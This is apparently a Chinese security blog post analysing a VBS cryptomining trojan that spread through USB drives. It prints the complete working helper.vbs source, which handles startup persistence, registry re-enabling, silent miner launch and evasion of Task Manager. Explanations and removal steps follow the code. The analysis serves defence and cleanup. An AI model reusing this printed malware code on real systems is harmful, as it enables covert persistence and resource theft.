安全 2025-06-09

隐藏于 U 盘中的 VBS 挖矿木马

阅读次数 54 评论数 0

最近公司同事提出他们的U盘疑似中病毒,通过排查,我发现一个典型的 VBS 木马病毒,具备自启动、进程守护、反查杀、U盘传播等多种特性,中病毒电脑和U盘的特征是用户将电脑文件夹放入U盘,在放到其他电脑,则该U盘的文件夹就会隐藏且生成同名的伪文件(格式为.exe)。本文将详细剖析该脚本的行为机制,并给出清除建议。

🧾 一、样本基本信息

项目

内容

文件名

helper.vbs

关联文件

WindowsServices.exe\helper.lnk及伪引用installer.vbs

传播方式

通过 U 盘伪装文件传播

主要危害

自启动、进程守护、反查杀、挖矿、U盘感染

病毒源文件为以下命名为helper.vbs:👇

on error resume next

Dim ws, strPath, objws, objFile, strFolder, startupPath, MyScript, objWinMgmt, colProcess, vaprocess, miner, tskProcess, nkey, key

Set ws = WScript.CreateObject("WScript.Shell")

nkey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk"

Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2")

strPath = WScript.ScriptFullName

set objws = CreateObject("Scripting.FileSystemObject")

Set objFile = objws.GetFile(strPath)

strFolder = objws.GetParentFolderName(objFile)

strPath = strFolder & "\"

startupPath = ws.SpecialFolders("startup")

miner = Chr(34) & strPath & "WindowsServices.exe" & Chr(34)

MyScript = "helper.vbs"

While True

key = Empty

key = ws.regread (nkey)

If (not IsEmpty(key)) then

ws.RegWrite nkey, 2, "REG_BINARY"

End if

If (not objws.fileexists(startupPath & "\helper.lnk")) then

Set link = ws.CreateShortcut(startupPath & "\helper.lnk")

link.Description = "helper"

link.TargetPath =chr(34) & strPath & "helper.vbs" & chr(34)

link.WorkingDirectory = strPath

link.Save

End If

Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name = 'wscript.exe'")

call procheck(colProcess, "installer.vbs")

Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name Like '%WindowsServices.exe%'")

Set tskProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name Like '%Taskmgr.exe%'")

if colProcess.count = 0 And tskProcess.count = 0 then

ws.Run miner, 0

ElseIf colProcess.count > 0 And tskProcess.count > 0 then

For Each objProcess In colProcess

ws.run "taskkill /PID " & objProcess.ProcessId , 0

Next

end if

WScript.Sleep 3000

Wend

'---------------------------------------------------------------------------------

sub procheck(checkme, procname)

For Each objProcess In checkme

vaprocess = objProcess.CommandLine

if instr(vaprocess, procname) then

Exit sub

End if

Next

ws.Run Chr(34) & strPath & procname & Chr(34)

end sub

'---------------------------------------------------------------------------------

🧠 二、脚本行为分析

该脚本功能十分丰富,具备典型的“挖矿木马 + 自启动守护 + 自传播”特征。


🔁 1. 注册表强制启用启动项

nkey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk"

ws.RegWrite nkey, 2, "REG_BINARY"

📌 作用:确保 helper.lnk 快捷方式在启动项中处于“启用”状态。即使用户在启动管理器中禁用了它,病毒也会定期恢复。


🪛 2. 重建启动项快捷方式

If Not objws.fileexists(startupPath & "\helper.lnk") Then

Set link = ws.CreateShortcut(startupPath & "\helper.lnk")

link.TargetPath = chr(34) & strPath & "helper.vbs" & chr(34)

link.WorkingDirectory = strPath

link.Save

End If

📌 作用:每隔几秒检查是否存在启动项链接,不存在则自动创建,指向木马本体。


👾 3. 挖矿程序守护与启动

Set colProcess = objWinMgmt.ExecQuery("Select * From Win32_Process Where Name Like '%WindowsServices.exe%'")

If colProcess.count = 0 Then

ws.Run miner, 0

End If

📌 作用:若挖矿主程序 WindowsServices.exe 没有运行,则立即后台静默启动。该进程通常会大量占用 CPU 或 GPU 资源。


🧟 4. 检测任务管理器并自杀躲避

Set tskProcess = objWinMgmt.ExecQuery("Select * From Win32_Process Where Name Like '%Taskmgr.exe%'")

If tskProcess.count > 0 Then

For Each objProcess In colProcess

ws.run "taskkill /PID " & objProcess.ProcessId, 0

Next

End If

📌 作用:若检测到 Taskmgr.exe(任务管理器)被打开,立即尝试结束自己的挖矿进程,避免暴露。


🧬 5. 虚假守护辅助脚本:installer.vbs

call procheck(colProcess, "installer.vbs")

Sub procheck(checkme, procname)

For Each objProcess In checkme

vaprocess = objProcess.CommandLine

if instr(vaprocess, procname) then

Exit Sub

End if

Next

ws.Run Chr(34) & strPath & procname & Chr(34)

End Sub

📌 作用:这段逻辑看似在“守护”一个名为 installer.vbs 的脚本文件,但实际上该文件并不存在于当前脚本中,也没有生成逻辑。

可能原因如下:

  • installer.vbs 原为病毒组件之一,现已缺失;

  • 脚本作者故意保留伪调用点,用于混淆分析;

  • 用户机器曾有该文件,但后被删除。

✅ 若在其他路径或 U 盘中发现 installer.vbs,建议同样将其纳入排查与清理。

⚙️ 三、完整行为总结

功能模块

描述

🪜 自启动机制

注册表 + 启动文件双持久化

🔄 进程守护

自动启动、自动恢复挖矿程序

🎭 快捷方式伪装

helper.lnk 实际指向木马脚本

🧬 虚假辅助脚本

伪调用 installer.vbs 进行混淆

🚫 反查杀机制

检测任务管理器主动“自杀”


🔧 四、清除与修复建议

✅ 1. 手动结束相关进程

taskkill /F /IM wscript.exe

taskkill /F /IM WindowsServices.exe


✅ 2. 删除可疑文件

请删除以下路径中的文件:

%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\helper.lnk

U盘或用户目录下的:

- helper.vbs

- WindowsServices.exe

- installer.vbs(如存在)


✅ 3. 清理注册表启动项

打开注册表编辑器,删除以下键值:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk


✅ 4. 使用专业工具查杀

推荐以下工具进行深度查杀:

  • 🛡️ Kaspersky Virus Removal Tool (KVRT)

  • 🛡️ Malwarebytes Anti-Malware

  • 🛡️ 火绒剑(适合手动查找隐藏进程和注册表)

  • 🛡️SpaceSniffer(可视化空间分析)


🛡️ 五、防范建议

  • 禁用 U 盘自动运行功能(自动播放)

  • 显示隐藏文件和扩展名,防止伪装 .exe 文件被误点

  • 不随意双击 U 盘中的 .vbs / .lnk 文件

  • 定期使用杀毒软件扫描

  • wscript.exe 限权或加白名单机制


📌 总结

这是一个精心构造的 VBS 挖矿木马,具有“轻量级 + 多层守护 + 自我修复”的高度复杂性。它伪装得像一个普通快捷方式,实际却操控系统后台资源为黑产服务。若发现类似行为,应立即切断网络并进行彻底排查。

0%